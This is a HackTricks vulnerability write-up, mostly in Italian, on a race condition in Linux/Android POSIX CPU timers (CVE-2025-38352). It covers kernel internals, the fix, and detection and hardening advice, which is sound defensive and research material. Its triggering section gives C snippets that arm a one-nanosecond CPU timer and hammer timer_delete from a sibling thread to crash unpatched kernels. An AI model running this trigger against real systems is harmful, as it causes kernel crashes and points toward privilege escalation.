POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina documenta una race condition TOCTOU in Linux/Android POSIX CPU timers che può corrompere lo stato del timer e causare il crash del kernel, e in alcune circostanze può essere indirizzata verso privilege escalation.

  • Componente interessato: kernel/time/posix-cpu-timers.c
  • Primitiva: race tra expiry e deletion durante l'uscita del task
  • Dipendente dalla configurazione: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Breve riepilogo interno (rilevante per lo sfruttamento)

  • Three CPU clocks drive accounting for timers via cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime solo
  • CPUCLOCK_SCHED: task_sched_runtime()
  • La creazione del timer associa un timer a un task/pid e inizializza i nodi della timerqueue:
c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Arming inserisce in una per-base timerqueue e può aggiornare la next-expiry cache:
c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Il percorso rapido evita elaborazioni costose a meno che le scadenze memorizzate nella cache non indichino una possibile attivazione:
c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Scadenza raccoglie i timer scaduti, li marca come in fase di attivazione, li rimuove dalla coda; la consegna effettiva è differita:
c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Due modalità di gestione delle scadenze

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la scadenza viene differita tramite task_work sul task target
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la scadenza viene gestita direttamente in contesto IRQ
c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

Nel percorso IRQ-context, la firing list viene elaborata al di fuori di sighand

c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Causa principale: TOCTOU tra IRQ-time expiry e cancellazione concorrente durante l'uscita del task Precondizioni

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK è disabilitato (in uso il percorso IRQ)
  • Il task target sta terminando ma non è ancora stato completamente reaped
  • Un altro thread chiama contestualmente posix_cpu_timer_del() per lo stesso timer

Sequenza

  1. update_process_times() attiva run_posix_cpu_timers() in IRQ context per il task in uscita.
  2. collect_timerqueue() imposta ctmr->firing = 1 e sposta il timer nella lista temporanea dei timer in firing.
  3. handle_posix_cpu_timers() rilascia sighand tramite unlock_task_sighand() per consegnare i timer fuori dal lock.
  4. Immediatamente dopo l'unlock, il task in uscita può essere reaped; un thread fratello esegue posix_cpu_timer_del().
  5. In questa finestra, posix_cpu_timer_del() può non riuscire ad acquisire lo state tramite cpu_timer_task_rcu()/lock_task_sighand() e quindi saltare il guard normale in-flight che controlla timer->it.cpu.firing. La cancellazione procede come se non fosse in firing, corrompendo lo stato mentre la scadenza viene gestita, portando a crash/UB.

Perché la modalità TASK_WORK è sicura per progettazione

  • Con CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, la scadenza viene rinviata a task_work; exit_task_work viene eseguito prima di exit_notify, quindi non si verifica l'overlap in IRQ-time con il reaping.
  • Anche in quel caso, se il task sta già terminando, task_work_add() fallisce; il controllo su exit_state rende entrambe le modalità consistenti.

Fix (Android common kernel) e motivazione

  • Aggiungere un return precoce se il task corrente sta uscendo, bloccando tutta l'elaborazione:
c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Questo impedisce di entrare in handle_posix_cpu_timers() per i task in uscita, eliminando la finestra in cui posix_cpu_timer_del() potrebbe perdere it.cpu.firing e competere con la gestione della scadenza.

Impact

  • La corruzione della memoria del kernel delle strutture timer durante scadenza/cancellazione concorrente può causare crash immediati (DoS) ed è un potente primitivo per l'escalation dei privilegi, dato che consente opportunità di manipolazione arbitraria dello stato del kernel.

Triggering the bug (safe, reproducible conditions) Build/config

  • Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.

Runtime strategy

  • Seleziona un thread che sta per terminare e associa ad esso un CPU timer (orologio per-thread o per-processo):
  • For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
  • Arma con una scadenza iniziale molto breve e un intervallo piccolo per massimizzare le entrate nel percorso IRQ:
c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Da un sibling thread, eliminare contemporaneamente lo stesso timer mentre il target thread esce:
c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Amplificatori di race: alta frequenza dei tick dello scheduler, carico CPU, cicli ripetuti di exit/re-create dei thread. Il crash tipicamente si manifesta quando posix_cpu_timer_del() non rileva il firing a causa del fallimento della lookup/locking del task subito dopo unlock_task_sighand().

Detection and hardening

  • Mitigation: applicare il guard exit_state; preferire l'abilitazione di CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando possibile.
  • Observability: aggiungere tracepoints/WARN_ONCE intorno a unlock_task_sighand()/posix_cpu_timer_del(); allertare quando it.cpu.firing==1 viene osservato insieme a cpu_timer_task_rcu()/lock_task_sighand() falliti; monitorare incongruenze della timerqueue intorno all'uscita del task.

Audit hotspots (for reviewers)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selezione (TASK_WORK vs IRQ path)
  • collect_timerqueue(): imposta ctmr->firing e sposta i nodi
  • handle_posix_cpu_timers(): rilascia sighand prima del loop di firing
  • posix_cpu_timer_del(): si basa su it.cpu.firing per rilevare expiry in-flight; questo controllo viene saltato quando la lookup/lock del task fallisce durante exit/reap

Notes for exploitation research

  • Il comportamento divulgato è una primitive affidabile per crash del kernel; trasformarlo in privilege escalation di solito richiede un'ulteriore sovrapposizione controllabile (object lifetime o write-what-where) al di fuori dello scopo di questo sommario. Trattare qualsiasi PoC come potenzialmente destabilizzante ed eseguirlo solo in emulatori/VMs.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks